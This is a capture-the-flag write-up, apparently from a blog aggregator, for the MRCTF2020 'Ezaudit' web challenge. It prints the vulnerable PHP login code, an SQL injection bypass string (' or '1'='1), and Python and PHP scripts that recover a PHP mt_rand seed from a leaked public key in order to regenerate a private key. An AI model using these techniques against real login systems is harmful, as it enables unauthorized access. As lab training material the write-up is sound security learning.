当前位置:网站首页>[MRCTF2020]Ezaudit
[MRCTF2020]Ezaudit
2022-07-30 16:54:00 【His new reading.】
[MRCTF2020]Ezaudit

The page found nothing,Clicking various buttons found nothing,dirsearch扫描一下发现了www.zip

Download and unzip to get oneindex.php,Check out the source code
<?php
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}
}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???The audit code is informed that there islogin.html,A username is required to log in、密码、密钥,And the username must be crisper,The password can be freely entered but cannot be empty,A master password can be used' or '1'='1
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; 密钥的话,The audit code sees itmt_rand()and the bottommost public keyKVQP0LdJKRaV3n9D,php伪随机数漏洞,First use the script to explode the random number:
str1 ='KVQP0LdJKRaV3n9D'
str2 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
res =''
length = str(len(str2)-1)
for i in range(len(str1)):
for j in range(len(str2)):
if str1[i] == str2[j]:
res += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
break
print(res)![]()
36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61
然后用php_mt_seedburst seeds:

1775196155,Then the script generates the private key(要求php版本再5.2.1到7.0.x之间,PHP在线运行 - TOOLFK工具网):
<?php
mt_srand(1775196155);
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
echo public_key() . "<br>";
echo private_key();
?>
XuNhoueCDCGc,然后进入login.html
![]()


边栏推荐
猜你喜欢

3D激光SLAM:LeGO-LOAM论文解读---激光雷达里程计与建图

huato 热更新环境搭建(DLL方式热更新C#代码)

Goland opens file saving and automatically formats

疫情之下的裁员浪潮,7点建议帮你斩获心仪offer

MySQL超详细安装教程 手把手教你安装MySQL到使用MySQL 最简单的MySQL安装方式,这种方式装,卸载也简单

Jetpack Compose 到底优秀在哪里?| 开发者说·DTalk

Scheduling_Channel_Access_Based_on_Target_Wake_Time_Mechanism_in_802.11ax_WLANs

Paper reading (63): Get To The Point: Summarization with Pointer-Generator Networks

新人学习小熊派网络应用开发

Mongoose模块
随机推荐
(一)云计算技术学习--虚拟化vSphere学习
DTSE Tech Talk丨第2期:1小时深度解读SaaS应用系统设计
京东获取推荐商品列表 API
全职做自媒体靠谱吗?
3D激光SLAM:LeGO-LOAM论文解读---系统概述部分
C语言学习之旅 【函数(二)】
Leetcode 118. 杨辉三角
mysql进制安装与mysql密码破解
大厂面试官眼中的好简历到底长啥样
SocialFi 何以成就 Web3 去中心化社交未来
DTSE Tech Talk丨第2期:1小时深度解读SaaS应用系统设计
The service already exists! Solution
PyQt5快速开发与实战 9.2 数据库处理
游戏窗口化的逆向分析
(1) Cloud computing technology learning - virtualized vSphere learning
华为云数据治理生产线DataArts,让“数据'慧'说话”
23. Please talk about the difference between IO synchronization, asynchronous, blocking and non-blocking
Leetcode 118. Yanghui Triangle
Paper reading (63): Get To The Point: Summarization with Pointer-Generator Networks
Nervegrowold d2l (7) kaggle housing forecast model, numerical stability and the initialization and activation function